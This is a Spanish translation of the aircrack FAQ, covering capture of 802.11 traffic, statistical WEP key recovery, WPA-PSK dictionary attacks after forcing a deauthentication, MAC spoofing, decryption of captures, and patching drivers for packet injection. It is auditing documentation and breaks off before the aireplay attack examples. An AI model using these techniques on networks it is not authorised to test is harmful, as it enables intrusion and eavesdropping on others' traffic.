Biblia de seguridad para redes inalámbricas

 
Trabajo original en ingles realizado por: C. Devine

Traducción realizada del ingles al español por: ShaKarO

Añadidos, correcciones y modificaciones realizadas por Hwagm

Enlaces reales (Actualizado a 3-10-2006). Descargas correctas tanto en link como shell vía wget en entorno linux.

Con la live WIFISLAX (encontrareis todos los últimos drivers incluidos los de inyección ya de serie para rt73, rt61 y ipw2200.



Documentación en español de la suite mas completa para el análisis de la seguridad wireless


¿Qué es aircrack ?

aircrack es una colección de herramientas para la auditoría de redes inalámbricas:

  • airodump: programa para la captura de paquetes 802.11
  • aireplay: programa para la inyección de paquetes 802.11
  • aircrack: recuperador de claves estáticas WEP y WPA-PSK
  • airdecap: desencripta archivos de capturas WEP/WPA

¿Hay un foro de discusión?

Claro y además muchos mas contenidos: Pincha aquí.

¿Dónde puedo descargar aircrack ?

Windows: hwagm.elhacker.net/windows.htm

Linux: hwagm.elhacker.net/linux2.htm

Recibo el mensaje "cygwin1.dll not found" cuando inicio aircrack.exe.

Puedes descargar esta librería de: hwagm.elhacker.net/windows.htm

Para usar aircrack, arrastra el/los archivo(s) de captura .cap o .ivs sobre aircrack.exe. Si quieres pasarle opciones al programa deberás abrir una consola de comandos (cmd.exe) e introducirlas manualmente; también hay una GUI para aircrack, desarrollada por hexanium.

C:\TEMP> aircrack.exe -n 64 -f 8 out1.cap out2.cap

Más abajo encontrarás una lista de opciones.

¿Cómo se recupera una clave WEP estática ?

La idea básica es capturar tanto tráfico encriptado como sea posible usando airodump. Cada packete de datos WEP tiene asociado un Vector de Inicialización (IV) de 3-bytes: después de recoger un número suficiente de paquetes de datos, ejecuta aircrack sobre el archivo de captura resultante. Entonces aircrack ejecutará un conjunto de ataques de tipo estadístico desarrollados por un talentoso hacker llamado KoreK.

¿ Cómo sé si mi clave WEP es la correcta ?

Hay dos modos de autenticación WEP:

  • Open-System Authentication: Este es el predeterminadoEl AP acepta todos los clientes, y nunca comprueba la clave: siempre concede la asociación . De todas formas, si tu clave es incorrecta no podrás recibir o enviar paquetes (porque fallará la desencriptación), y pot tanto DHCP, ping, etc. acabarán interrumpiéndose.

  • Shared-Key Authentication: el cliente debe encriptar la petición antes de que le sea concedida la asociación por el AP. Este modo tiene fallas y provoca la recuperación de la clave, por lo que nunca está activado de modo predeterminado.

En resumen, sólo por que parezca que te conectas de forma satisfactoria al AP ¡no significa que tu clave WEP sea la correcta! Para comprobar tu clave WEP, procura desencriptar un archivo de captura con el programa airdecap.

¿Cuántos IVs se necesitan para recuperar claves WEP ?

La recuperación de claves WEP no es una ciencia exacta. El número de IVs necesarios depende de la longitud de la clave WEP, y también de la suerte. Normalmente, una clave WEP de 40-bit puede ser recuperada con 300.000 IVs, y una de 104-bit con 1.000.000 de IVs; teniendo mala suerte se pueden necesitar dos millones de IVs, o más.

No hay ninguna manera de saber la longitud de la clave WEP: esta información está oculta y nunca es anunciada, guardada bien en packetes de gestión, bien en paquetes de datos; como consecuencia, airodump no puede reportar la longitud de la clave WEP. Por ese motivo, se recomienda ejecutar aircrack dos veces: cuando tienes 250.000 IVs, inicias aircrack con "-n 64" para recuperar la WEP de 40-bit. Si no la sacas, vuelves a iniciar aircrack (sin la opción -n) para recuperar la WEP de 104-bit.

¡Parece que no consigo IVs !

Posibles motivos:

  • Te encuentras demasiado lejos del punto de acceso.
  • No hay tráfico en la red escogida.
  • Hay tráfico de tipo G pero estás capturando en modo B.
  • Hay algún problema con tu tarjeta (¿problema de firmware ?)

Los beacons sólo son "paquetes anuncio" sin encriptar. No sirven para la recuperación de claves WEP.

¡No he podido recuperar la clave de este punto de acceso (AP) !

Shit happens.

¿Por qué no hay una versión de aireplay para Windows ?

El controlador PEEK no soporta la inyección de paquetes 802.11; No portable aireplay a Win32. De todos modos, hay alternativas comerciales:

Tarjetas Atheros: http://www.tamos.com/htmlhelp/commwifi/pgen.htm

Targetas Ralink Rt2500; en fase de estudio.

¿Es compatible mi tarjeta con airodump / aireplay ?

Antes de nada, busca en Google para averiguar cuál es el chipset de tu tarjeta. Por ejemplo, si tienes una Linksys WPC54G busca por "wpc54g chipset linux".

 

Chipset Soportado por airodump en Windows ? Soportado por airodump en Linux ? Soportado por aireplay en Linux ?
HermesI SÍ (Controlador Agere) SÍ (Controlador orinoco parcheado) NO (el firmware corrompe la cabecera de la MAC)
Prism2/3 NO SÍ (controlador HostAP o wlan-ng ), firmware STA 1.5.6 o más nuevo necesario SÍ (PCI y CardBus sólo, se recomienda parchear el controlador)
PrismGT SÍ (Controlador PrismGT) FullMAC: SÍ (controlador prism54) SoftMAC: AÚN NO (prism54usb) SÍ (se recomienda parchear el controlador)
Atheros Controlador Atheros, (ojo con las nuevas) Sí (PCI y CardBus sólo, controlador madwifi) SÍ (es necesario parchear el controlador)
RTL8180 SÍ (controlador Realtek) SÍ (rtl8180-sa2400 controlador) INESTABLE (es necesario parchear el controlador)
Aironet ¿SÍ? (controlador Cisco) SÍ (controlador airo, se recomienda la versión 4.25.30 del firmware) NO (problemas de firmware)
Ralink NO SÍ (controlador rt2500 / rt2570) SÍ (es necesario parchear el controlador)
Centrino b NO. PARCIAL: el controlador ipw2100 no descarta los paquetes corruptos NO
Centrino b/g NO.Pero hay alternativas SÍ (controlador ipw2200, se recomienda la versión 1.0.6) Si pero con la nueva suite
Broadcom Sólo los modelos antiguos (Controlador BRCM) Si (controlador bcm43xx-wifislax) SI
TI (ACX100 / ACX111) NO ALFA (controlador acx100) NO
ZyDAS 1201 NO AÚN NO (Controlador zd1211) NO
Atmel, Marvel NO DESCONOCIDO NO

Con la live WIFISLAX (encontrareis todos los últimos drivers incluidos los de inyección ya de serie para rt73, rt61, ipw2200 y módulos para las broadcom.

El controlador PEEK no reconoce mi tarjeta.

Los controladores de Windows arriba mencionados no reconocen algunas tarjetas, incluso teniendo el chipset correcto. En este caso, abre el administrador de dispositivos, selecciona tu tarjeta, "Actualizar el controlador", selecciona "Instalar desde una ubicación conocida", selecciona "No buscar, seleccionaré el controlador a instalar", haz click en "Utilizar disco", introduce la ruta donde ha sido descomprimido el archivo, deselecciona "Mostrar hardware compatible", y elige el controlador.

Tengo una tarjeta Prism2, ¡ pero airodump / aireplay parece no funcionar !

Primer paso, asegúrate de que no estás usando el controlador orinoco. Si el nombre de interfaz es wlan0, entonces el controlador es HostAP o wlan-ng. Si el nombre de la interfaz es eth0 o eth1, entonces el controlador es orinoco y debes deshabilitarlo (usa cardctl para averiguar el identificador de tu tarjeta, entonces edita /etc/pcmcia/config, reemplaza orinoco_cs por hostap_cs y reinicia cardmgr).

También puede ser un problema de firmware. Los firmwares antiguos presentan problemas con el test mode 0x0A (usado por los parches para la inyección con HostAP / wlan-ng), por tanto asegúrate de que el tuyo está al día -- mira las instrucciones más abajo. La versión recomendada de firmware para la estación es la 1.7.4. Si no funciona bien (kismet o airodump estallan tras capturar un par de paquetes), prueba con la STA 1.5.6 (o bien s1010506.hex para las tarjetas Prism2 más antiguas, o sf010506.hex para las más nuevas).

Como nota aclaratoria, test mode 0x0A es algo inestable con wlan-ng. Si la tarjeta parece atrancarse, tendrás que resetearla, o usar HostAP en su lugar. La inyección sobre dispositivos USB Prism2 está actualmente rota con wlan-ng.

 

Tengo una tarjeta Atheros, y el parche madwifi provoca un fallo en el kernel /
aireplay dice: enhanced RTC support isn't available.

Hay algunos problemas con algunas versiones de la rama 2.6 de Linux (especialmente anteriores al 2.6.11) que provocarán un kernel panic al inyectar con madwifi. También, en muchos kernels 2.6 el soporte para RTC mejorado está simplemente roto. Por tanto, está altamente recomendado utilizar un Linux 2.6.11.x o más nuevo.

¿ Cómo actualizo el firmware de mi Prism2 ?

La forma más simple es actualizar mediante WinUpdate - para esto es necesario tener instalado el controlador WPC11 v2.5.

También se puede actualizar el firmware con el HostAP parcheado (mira más abajo las instrucciones sobre cómo parchear e instalar HostAP).

Ahora que el HostAP está cargado, puedes comprobar el firmware de tu primario y de la estación con este comando:

# dmesg | grep wifi
hostap_cs: Registered netdevice wifi0
wifi0: NIC: id=0x800c v1.0.0
wifi0: PRI: id=0x15 v1.1.1  (primary firmware is 1.1.1)
wifi0: STA: id=0x1f v1.7.4  (station firmware is 1.7.4)
wifi0: registered netdevice wlan0

Si el id de NIC se encuentra entre 0x8002 y 0x8008, en ese caso tienes una Prism2 antigua y DEBES usar firmware STA en su versión 1.5.6 (s1010506.hex). De lo contrario, deberías usar PRI 1.1.1 / STA 1.7.4 que es la versión de firmware más estable para las tarjetas Prism2 más nuevas. NO uses firmware 1.7.1 o 1.8.x, la gente ha reportado problemas usándolos.

Para actualizar el firmware, necesitarás prism2_srec del paquete hostap-utils; si no se encuentra ya en el sistema, descarga y compila hostap-utils:

wget http://hwagm.elhacker.net/descargas/linux/hostap-utils-0.3.7.tar.gz
tar -xvzf hostap-utils-0.3.7.tar.gz
cd hostap-utils-0.3.7
make

Algunas tarjetas Prism2 han sido restringidas a un cierto conjunto de canales debido a regulaciones nacionales.Puedes activar los 14 canales con los siguientes comandos:

./prism2_srec wlan0 -D > pda; cp pda pda.bak
Edit pda and put 3FFF at offset 0104 (line 24)

Por último, descarga el firmware y flashea tu tarjeta. Si el id de NIC está entre 0x8002 y 0x8008:

wget http://hwagm.elhacker.net/descargas/linux3/s1010506.hex
./prism2_srec -v -f wlan0 s1010506.hex -P pda

De lo contrario:

wget http://hwagm.elhacker.net/descargas/linux3/pk010101.hex
wget http://hwagm.elhacker.net/descargas/linux3/sf010704.hex
./prism2_srec -v -f wlan0 pk010101.hex sf010704.hex -P pda

Si recibes el mensaje "ioctl[PRISM2_IOCTL_HOSTAPD]: Operation not supported", el controlador HostAP no está cargado y debes instalarlo. Si recibes el mensaje "ioctl[PRISM2_IOCTL_DOWNLOAD]: Operation not supported", entonces tu controlador HostAP no ha sido parcheado para soportar la descarga no-volátil.

¿ Qué tarjeta comprar ?

El mejor chipset a día de hoy es Atheros; está muy bien soportado por ambos Windows y Linux. El último parche madwifi hace posible inyectar en bruto paquetes 802.11 tanto en modo Infraestructura (Managed) como Monitor a velocidades b/g.

Ralink hace buenos chipsets, y ha sido muy cooperativo con la comunidad open-source para desarrollar controladores GPL. Ahora la inyección de paquetes está completamente soportada bajo Linux con tarjetas PCI/PCMCIA RT2500, y también funciona en dispositivos USB RT2570.

Aquí hay una lista de tarjetas recomendadas:

Card nameTypeChipsetAntennaPrecioSoporte en WindowsSoporte en Linux
MSI PC54G2PCIRalinkRP-SMAE30No
MSI CB54G2CardBusRalinkInternaE30No
Linksys WMP54G v4PCIRalinkRP-SMAE40No
Linksys WUSB54G v4USBRalinkInternaE40No
D-Link DWL-G122USBRalinkInternaE45No
Netgear WG111USBPrismGT SoftMACInternaE40airodumpNo
Netgear WG311TPCIAtherosRP-SMAE50CommView WiFi
Netgear WG511TCardBusAtherosInternaE50airodump
Netgear WAG511CardBusAtherosInternaE100airodump
Proxim 8470-WDCardBusAtherosMC + Int.E110airodump

Nota: hay algunos modelos más baratos con nombre parecido (WG511, WG311, DWL-650+ y DWL-G520+); esas tarjetas no están basadas en Atheros . Además, el controlador Peek no soporta las tarjetas Atheros recientes, por lo que deberás usar CommView WiFi en su lugar.

Hemos generado entre todos una lista muy completa de tarjetas para la auditoria wireless, si quieres acceder a ella, pincha: aquí.

¿ Cómo uso airodump en Windows ?

Antes de nada, asegúrate de que tu tarjeta es compatible (mira la tabla de más arriba) y de que tienes instalado el controlador adecuado. También debes descargar peek.dll y peek5.sys y ponerlos en el mismo directorio que airodump.exe.

A la hora de ejecutar airodump, deberías especificar:

  • El número identificador de la interfaz de red, que debe ser elegido de la lista mostrada por airodump.
  • El tipo de interfaz de red ('o' para HermesI y Realtek, 'a' para Aironet y Atheros).
  • El número de canal, entre 1 y 14. También puedes especificar 0 para altenar entre todos los canales.
  • El prefijo de salida. Por ejemplo, si el prefijo es "foo", entonces airodump creará foo.cap (paquetes capturados) y foo.txt (estadísticas CSV). Si foo.cap existe, airodump continuará la captura añadiéndole los paquetes.
  • La opción "sólo IVs". Debe ser 1 si sólamente quieres guardar los IVs de los paquetes de datos WEP. Esto ahorra espacio, pero el archivo resultante (foo.ivs) sólo será útil para la recuperación de claves WEP.

Para parar de capturar paquetes presiona Ctrl-C. Puede que te salga una pantalla azul, debido a un bug en el controlador PEEK por no salir limpiamente de modo monitor. También puede que el archivo resultante de la captura está vacío. La causa de este bug es desconocida.

¿ Por qué no puedo compilar airodump y aireplay en BSD / Mac OS X ?

Ambas fuentes, de airodump y aireplay son específicas de linux. No hay planes de portarlas a otros sistemas operativos.

¿ Cómo uso airodump en Linux ?

Antes de ejecutar airodump, debes iniciar el script airmon.sh para listar las interfaces inalámbricas detectadas.

  uso: airodump <interfaz o archivo pcap>
                  <prefijo de salida> [canal] [opción IVs]
Especifica 0 como canal para oscilar entre los canales de la banda de los 2.4 GHz.
Pasa la opción de los IVs a 1 para guardar sólo los IVs capturados - el archivo 
resultante sólo vale para la recuperación de claves WEP.

 Si el demonio gpsd se encuentra funcionando, airodump recogerá y guardará las 
 coordenadas GPS en formato de texto.

Puedes convertir un archivo .cap / .dump a formato .ivs con el programa pcap2ivs (linux sólo).

Airodump oscila entre WEP y WPA.

Esto ocurre cuando tu controlador no desecha los paquetes corruptos (los que tienen CRC inválido). Si es un Centrino b, simplemente no tiene arreglo; ve y compra una tarjeta mejor. Si es una Prism2, prueba a actualizar el firmware.

¿ Cuál es el significado de los campos mostrados por airodump ?

airodump mostrará una lista con los puntos de acceso detectados, y también una lista de clientes conectados o estaciones ("stations"). Aquí hay un ejemplo de una captura de pantalla usando una tarjeta Prism2 con HostAP:

 

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:30:24:9C   46       15     3416   6  54. WEP   the ssid 
 00:09:5B:1F:44:10   36       54        0  11  11  OPN   NETGEAR

 BSSID              STATION            PWR  Packets  Probes

 00:13:10:30:24:9C  00:09:5B:EB:C5:2B   48      719  the ssid
 00:13:10:30:24:9C  00:02:2D:C1:5D:1F  190       17  the ssid

 

FieldDescription
BSSIDDirección MAC del punto de acceso.
PWRNivel de señal reportado por la tarjeta. Su significado depende del controlador, pero conforme te acercas al punto de acceso o a la estación la señal aumenta. Si PWR == -1, el controlador no soporta reportar el nivel de señal.
BeaconsNúmero de paquetes-anuncio enviados por el AP. Cada punto de acceso envía unos diez beacons por segundo al ritmo (rate) mínimo (1M), por lo que normalmente pueden ser recogidos desde muy lejos.
# DataNúmero de paquetes de datos capturados (si es WEP, sólo cuenta IVs), incluyendo paquetes de datos de difusión general.
CHNúmero de canal (obtenido de los paquetes beacon). Nota: algunas veces se capturan paquetes de datos de otros canales aunque no se esté alternando entre canales debido a las interferencias de radiofrecuencia.
MBVelocidad máxima soportada por el AP. Si MB = 11, entonces se trata de 802.11b, si MB = 22 entonces es 802.11b+ y velocidades mayores son 802.11g.
ENCAlgoritmo de encriptación en uso. OPN = sin encriptación, "WEP?" = WEP o mayor (no hay suficiente datos para distinguir entre WEP y WPA), WEP (sin la interrogación) indica WEP estática o dinámica, y WPA si TKIP o CCMP están presentes.
ESSIDConocida como "SSID", puede estar vacía si el ocultamiento de SSID está activo. En este caso airodump tratará de recuperar el SSID de las respuestas a escaneos y las peticiones de asociación.
STATIONDirección MAC de cada estación asociada. En la captura de más arriba se han detectado dos clientes (00:09:5B:EB:C5:2B y 00:02:2D:C1:5D:1F).

¿ Cómo uno dos archivos de captura ?

Puedes usar el programa mergecap (parte del paquete ethereal-common o la distribución win32):

mergecap -w out.cap test1.cap test2.cap test3.cap

Se puede unir archivos .ivs con el programa "mergeivs" (linux sólo).

¿ Puedo usar Ethereal para capturar paquetes 802.11 ?

Bajo Linux, simplemente prepara la tarjeta para modo Monitor con el script airmon.sh. Bajo Windows, Ethereal NO PUEDE capturar paquetes 802.11 .

¿Puede Ethereal decodificar paquetes de datos WEP ?

Sí. Ve a Editar -> Preferencias -> Protocolos -> IEEE 802.11, selecciona 1 en la "WEP key count" e introduce tu clave WEP debajo.

¿ Cómo cambio mi dirección MAC?

Esta operación aparentemente sólamente es posible bajo Linux. Por ejemplo, si tienes una tarjeta Atheros:

ifconfig ath0 down
ifconfig ath0 hw ether 00:11:22:33:44:55
ifconfig ath0 up

Si no funciona, intenta sacar y re-insertar la tarjeta.

Pero hay alternativas en windows; si quieres verlas pincha: aquí

¿ Cómo uso aircrack ?

Usage: aircrack [options] <capture file(s)>

Puedes especificar múltiples archivos de entrada (tanto en formato .cap como .ivs). También puedes ejectutar airodump y aircrack al mismo tiempo: aircrack se auto-actualizará cuando haya nuevos IVs disponibles.

Aquí hay un sumario con todas las opciones disponibles:

 

OpciónParam.Descripción
-aamodeFuerza el tipo de ataque (1 = WEP estática, 2 = WPA-PSK).
-eessidSi se especifica, se usarán todos los IVs de las redes con el mismo ESSID. Esta opción es necesaria en el caso de que el ESSID no esté abiertamente difundido en una recuperación de claves WPA-PSK (ESSID oculto).
-bbssidSelecciona la red elegida basándose en la dirección MAC.
-pnbcpuEn sistemas SMP , especifica con esta opción el número de CPUs.
-qnoneActiva el modo silencioso (no muestra el estado hasta que la clave es o no encontrada).
-cnone(recuperación WEP) Limita la búsqueda a caracteres alfanuméricos sólamente (0x20 - 0x7F).
-dstart(recuperación WEP) Especifica el comienzo de la clave WEP (en hex), usado para depuración.
-mmaddr(recuperación WEP) Dirección MAC para la que filtrar los paquetes de datos WEP. Alternativamente, especifica -m ff:ff:ff:ff:ff:ff para usar todos y cada uno de los IVs, indiferentemente de la red que sea.
-nnbits(recuperación WEP) Especifica la longitud de la clave: 64 para WEP de 40-bit , 128 para WEP de 104-bit , etc. El valor predeterminado es 128.
-iindex(recuperación WEP) Conserva sólo los IVs que tienen este índice de clave (1 a 4). El comportamiento predeterminado es ignorar el índice de la clave.
-ffudge(recuperación WEP) De forma predeterminada, este parámetro está establecido en 2 para WEP de 104-bit y en 5 para WEP de 40-bit. Especifica un valor más alto para elevar el nivel de fuerza bruta: la recuperación de claves llevará más tiempo, pero con una mayor posibilidad de éxito.
-kkorek(recuperación WEP) Hay 17 ataques de tipo estadístico de korek. A veces un ataque crea un enorme falso positivo que evita que se obtenga la clave, incluso con grandes cantidades de IVs. Prueba -k 1, -k 2, ... -k 17 para ir desactivando cada uno de los ataques de forma selectiva.
-xnone(recuperación WEP) No aplicar fuerza bruta sobre los dos últimos keybytes.
-ynone(recuperación WEP) Éste es un ataque de fuerza bruta experimental único que debería ser usado cuando el método normal de ataque falle con más de un millón de IVs.
-wwords (recuperación WPA) Ruta hacia la lista de palabras.

¿ Podrías implementar una opción para reanudar en aircrack ?

No hay planes de implementar esta capacidad.

¿ Cómo puedo recuperar claves de una red wifi con WPA-PSK ?

Debes capturar hasta que se produzca un "saludo" (handshake) entre un cliente inalámbrico y el punto de acceso. Para forzar al cliente a reautenticarse puedes iniciar un ataque de deautenticación con aireplay. También es necesario un buen diccionario; ver
http://ftp.se.kde.org/pub/security/tools/net/Openwall/wordlists/

Para tu información. No es posible pre-computar grandes tablas de Pairwise Master Keys como hace rainbowcrack, puesto que la contraseña está entremezclada con el ESSID.

¿ Se podrán recuperar claves WPA en el futuro tan fácilmente como las WEP?

Es extremadamente improbable que con WPA la recuperación de claves sea tan fácil del modo que lo ha sido WEP.

El mayor problema de WEP es que la clave compartida está adjunta en el IV; el resultado está vinculado directamente con el RC4. Esta construcción simple superpuesta es propensa a un estaque de tipo estadístico, ya que los primeros bytes del texto cifrado están fuertemente correspondidos con la clave compartida (ver el papel de Andrew Roos). Existen básicamente dos contramedidas a este ataque: 1. mezclar el IV y la clave compartida usando una función para la codificación o 2. descartar los primeros 256 bytes de la salida del RC4.

Ha habido alguna desinformación en las noticias acerca de las fallas de TKIP:

Por ahora, TKIP es razonablemente seguro por sí solo viviendo un tiempo prestado ya que se apoya en el mismo algoritmo RC4 en el que se apoyó WEP.

Realmente, TKIP (WPA1) no es vulnerable: para cada paquete, el IV de 48-bit está mezclado con la clave temporal pairwise de 128-bit para crear una clave RC4 de 104-bit, por lo que no hay ninguna correlación de tipo estadístico . Es más, WPA proporciona contramedidas ante ataques activos (reinyección de tráfico), incluye un mensaje de integridad de código más fuerte (michael), y tiene un protocolo de autenticacaión muy robusto ("saludo" de 4 fases). La única vulnerabilidad a tener en cuenta es el ataque con diccionario, que falla si la contraseña es lo suficientemente robusta.

WPA2 (aka 802.11i) es exactamente lo mismo que WPA1, excepto que usa CCMP (////AES in counter mode////) en lugar de RC4 y HMAC-SHA1 en lugar de HMAC-MD5 para el EAPOL MIC. Como apunte final, WPA2 es un poco mejor que WPA1, pero ninguno de los dos será posible una recuperación de claves en un futuro cercano.

¡ Tengo más de un millón de IVs, pero aircrack no encuentra la clave !

Posibles motivos:

  • Mala suerte: necesitas capturar más IVs. normalmente, una WEP de 104-bit puede ser recuperada con aproximadamente un millón de IVs, aunque a veces se necesitan más IVs.
     
  • Si todos los votos (votes) parecen iguales, o si hay muchos votos negativos, entonces el archivo con la captura está corrupto, o la clave no es estática (¿se está usando EAP/802.1X ?).
     
  • Un falso positivo evitó que se obtuviera la clave. Prueba a desactivar cada ataque korek (-k 1 .. 17), sube el nivel de fuerza bruta (-f) o prueba con el ataque inverso experimental único (-y).

He encontrado una clave, ¿cómo desencripto un archivo de captura ?

Puedes usa el programa airdecap :

  uso: airdecap [opciones] <archivo pcap>

      -l       : no elimina la cabecera del 802.11
      -b bssid : filtro de dirección MAC del punto de acceso
      -k pmk   : WPA Pairwise Master Key en hex
      -e essid : Identificador en ascii de la red escogida
      -p pass  : contraseña WPA de la red escogida
      -w key   : clave WEP de la red escogida en hex

  ejemplos:

  airdecap -b 00:09:5B:10:BC:5A open-network.cap
  airdecap -w 11A3E229084349BC25D97E2939 wep.cap
  airdecap -e "el ssid" -p contraseña  tkip.cap

¿ Cómo recupero mi clave WEP en Windows ?

Puedes usar el programa WZCOOK que recupera las claves WEP de la utilidad de XP Wireless Zero Configuration. Éste es un software experimental, por lo que puede que funcione y puede que no, dependiendo del nivel de service pack que tengas.

¿Recupera WZCOOK también claves WPA ?

WZCOOK mostrará el PMK (Pairwise Master Key), un valor de 256-bit que es el resultado de codificar 8192 veces la contraseña junto con el ESSID y la longitud del ESSID. La contraseña en sí no se puede recuperar -- de todos modos, basta con conocer el PMK para conectar con una red inalámbrica protegida mediante WPA con wpa_supplicant (ver el Windows README). Tu archivo de configuración wpa_supplicant.conf debería quedar así:

network={
    ssid="mi_essid"
    pmk=5c9597f3c8245907ea71a89d[...]9d39d08e
}

¿ Cómo parcheo el controlador para la inyección con aireplay ?

Hasta ahora, aireplay sólo soporta la inyección con Prism2, PrismGT (FullMAC), Atheros, RTL8180 y Ralink. La inyección con Centrino, Hermes, ACX1xx, Aironet, ZyDAS, Marvell y Broadcom no está soportada debido a limitaciones en firmware y/o controlador. Pero se han solucionado con la nueva suite para las centrino ipw2200b/g.

La inyección con Prism2 y Atheros es aún bastante experimental; si tu tarjeta parece colgarse (sin paquetes capturados o inyectados), desactiva la interfaz, vuelve a cargar los controladores y reinserta la tarjeta. Considera también actualizar el firmware (si es Prism2).

Todos los controladores deben ser parcheados para de ese modo soportar la inyección en modo Monitor. Necesitarás las cabeceras linux (linux headers) que coincidan con el kernel que estés usando; si no, tendrás que descargar las funentes de linux y compilar un kernel personalizado.

 

  • Instalando el controlador madwifi (Tarjetas Atheros)

    Nota 1: necesitarás uudecode del paquete sharutils.

    Nota 2: el parche 20051008 debería funcionar también con versiones más recientes del CVS de madwifi.

    Nota 3: si usas wpa_supplicant, deberías recompilarlo (las verisones antiguas no son compatibles con el CVS actual de madwifi), y asegurarte de que CONFIG_DRIVER_MADWIFI=y no está comentado en config.h.

    Nota 4: con el madwifi actual, ya no será necesario ejecutar "iwpriv ath0 mode 2", ya que el controlador permite la inyección en modo 0 usando la nueva interfaz athXraw.

     

    Modos Permitidos

    Medio Físico

    Modo 0Automático (a/b/g)
    Modo 1802.11a sólo
    Modo 2802.11b sólo
    Modo 3802.11g sólo

    ifconfig ath0 down
    rmmod wlan_wep ath_rate_sample ath_rate_onoe \
          ath_pci wlan ath_hal 2>/dev/null
    
    find /lib/modules -name 'ath*'  -exec rm -v {} \; 2>/dev/null
    find /lib/modules -name 'wlan*' -exec rm -v {} \; 2>/dev/null
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/madwifi-cvs-20051025.tgz
    wget http://hwagm.elhacker.net/descargas/linux/madwifi-cvs-20051025.patch
    tar -xvzf madwifi-cvs-20051025.tgz
    cd madwifi-cvs-20051025
    patch -Np1 -i ../madwifi-cvs-20051025.patch
    make KERNELPATH=/usr/src/linux-<insert version>
    make install
    modprobe ath_pci

    Ahora es posible establecer el ritmo de transmisión (rate) con madwifi (y también con rt2570). El valor recomendado es 5.5 Mbps, pero puedes reducirlo o incrementarlo en función de la distancia a la que se encuentre el AP. Por ejemplo:

    iwconfig ath0 rate 24M

    ModuladoVelocidades Permitidas
    DSSS / CCK1M, 2M, 5.5M, 11M
    OFDM (a/g)6M, 9M, 12M, 24M, 36M, 48M, 54M

    Durante los ataques 2, 3 y 4, cambiar el número de paquetes por segundo enviados por aireplay (opción -x) a veces ayuda a obtener mejores resultados; el predeterminado es 500 pps.

     

  • Instalación del controlador prism54 (tarjetas PrismGT FullMAC)

    ifconfig eth1 down
    rmmod prism54
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/prism54-svn-20050724.tgz
    wget http://hwagm.elhacker.net/descargas/linux3/prism54-svn-20050724.patch
    tar -xvzf prism54-svn-20050724.tgz
    cd prism54-svn-20050724
    patch -Np1 -i ../prism54-svn-20050724.patch
    make modules && make install
    wget http://hwagm.elhacker.net/descargas/linux2/1.0.4.3.arm
    mkdir -p /usr/lib/hotplug/firmware
    mkdir -p /lib/firmware
    cp 1.0.4.3.arm /usr/lib/hotplug/firmware/isl3890
    mv 1.0.4.3.arm /lib/firmware/isl3890
    depmod -a

  • Instalación del controlador HostAP (tarjetas Prism2)

    ifconfig wlan0 down
    wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
    /etc/init.d/pcmcia stop
    rmmod prism2_pci
    rmmod hostap_pci
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux3/hostap-driver-0.4.5.tar.gz
    wget http://hwagm.elhacker.net/descargas/linux3/hostap-driver-0.3.9.patch
    tar -xvzf hostap-driver-0.4.5.tar.gz
    cd hostap-driver-0.4.5
    patch -Np1 -i ../hostap-driver-0.3.9.patch
    make && make install
    mv -f /etc/pcmcia/wlan-ng.conf /etc/pcmcia/wlan-ng.conf~
    /etc/init.d/pcmcia start
    modprobe hostap_pci &>/dev/null

  • Instalación del controlador wlan-ng (Prism2 cards)

    Nota importante: al insertar la tarjeta, wlan-ng flasheará el firmware en la RAM (descarga volátil) con las versiones PRI 1.1.4 y STA 1.8.3. Muchos usuarios tuvieron problemas con esta operación, por lo que en ese caso es mejor usar hostap en su lugar. Además, HostAP funciona de forma más fiable y soporta iwconfig mientras que wlan-ng no.

    ifconfig wlan0 down
    wlanctl-ng wlan0 lnxreq_ifstate ifstate=disable
    /etc/init.d/pcmcia stop
    rmmod prism2_pci
    rmmod hostap_pci
    find /lib/modules \( -name p80211* -o -name prism2* \) \
        -exec rm -v {} \;
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/wlanng-0.2.1-pre26.tar.gz
    wget http://hwagm.elhacker.net/descargas/linux/wlanng-0.2.1-pre26.patch
    tar -xvzf wlanng-0.2.1-pre26.tar.gz
    cd wlanng-0.2.1-pre26
    patch -Np1 -i ../wlanng-0.2.1-pre26.patch
    make config && make all && make install
    mv /etc/pcmcia/hostap_cs.conf /etc/pcmcia/hostap_cs.conf~
    /etc/init.d/pcmcia start
    modprobe prism2_pci &>/dev/null

  • Instalación del controlador r8180-sa2400 (tarjetas RTL8180)

    ifconfig wlan0 down
    rmmod r8180
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/rtl8180-0.21.tar.gz
    wget http://hwagm.elhacker.net/descargas/linux/rtl8180-0.21.patch
    tar -xvzf rtl8180-0.21.tar.gz
    cd rtl8180-0.21
    patch -Np1 -i ../rtl8180-0.21.patch
    make && make install
    depmod -a
    modprobe r8180

  • Instalación del controlador rt2500 (Ralink b/g PCI/PCMCIA)

    ifconfig ra0 down
    rmmod rt2500
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/rt2500-cvs-20051112.tgz
    tar -xvzf rt2500-cvs-20051112.tgz
    cd rt2500-cvs-20051112
    cd Module
    make && make install
    modprobe rt2500

    Asegúrate de cargar el controlador con modprobe (no insmod) y de poner la tarjeta en modo Monitor antes de levantar la interfaz.

     

  • Instalación del controlador rt2570 (Ralink b/g USB)

    ifconfig rausb0 down
    rmmod rt2570
    
    cd /usr/src
    wget http://hwagm.elhacker.net/descargas/linux/rt2570-cvs-20051112.tgz
    tar -xvzf rt2570-cvs-20051112.tgz
    cd rt2570-cvs-20051112
    cd Module
    make && make install
    modprobe rt2570

El controlador no compila.

Esto normalmente ocurre cuando las cabeceras no coinciden con el kernel que estás usando. En esta situación simplemente recompila un kernel nuevo, instálalo y reinicia. Luego, prueba otra vez a compilar el controlador.

Ver este HOWTO para más detalles sobre cómo compilar el kernel.

¿ Cómo uso aireplay ?

Si el controlador está correctamente parcheado, aireplay es capaz de inyectar paquetes 802.11 en modo Monitor en bruto; actualmente implementa un conjunto de 5 ataques diferentes.

Si recibes el mensaje "ioctl(SIOCGIFINDEX) failed: No such device", revisa que el nombre de tu dispositivo es correcto y que no has olvidado un parámetro en la línea de comandos.

En los siguientes ejemplos, 00:13:10:30:24:9C es la dirección MAC del punto de acceso (en el canal 6), y 00:09:5B:EB:C5:2B es la dirección MAC de un cliente inalámbrico.

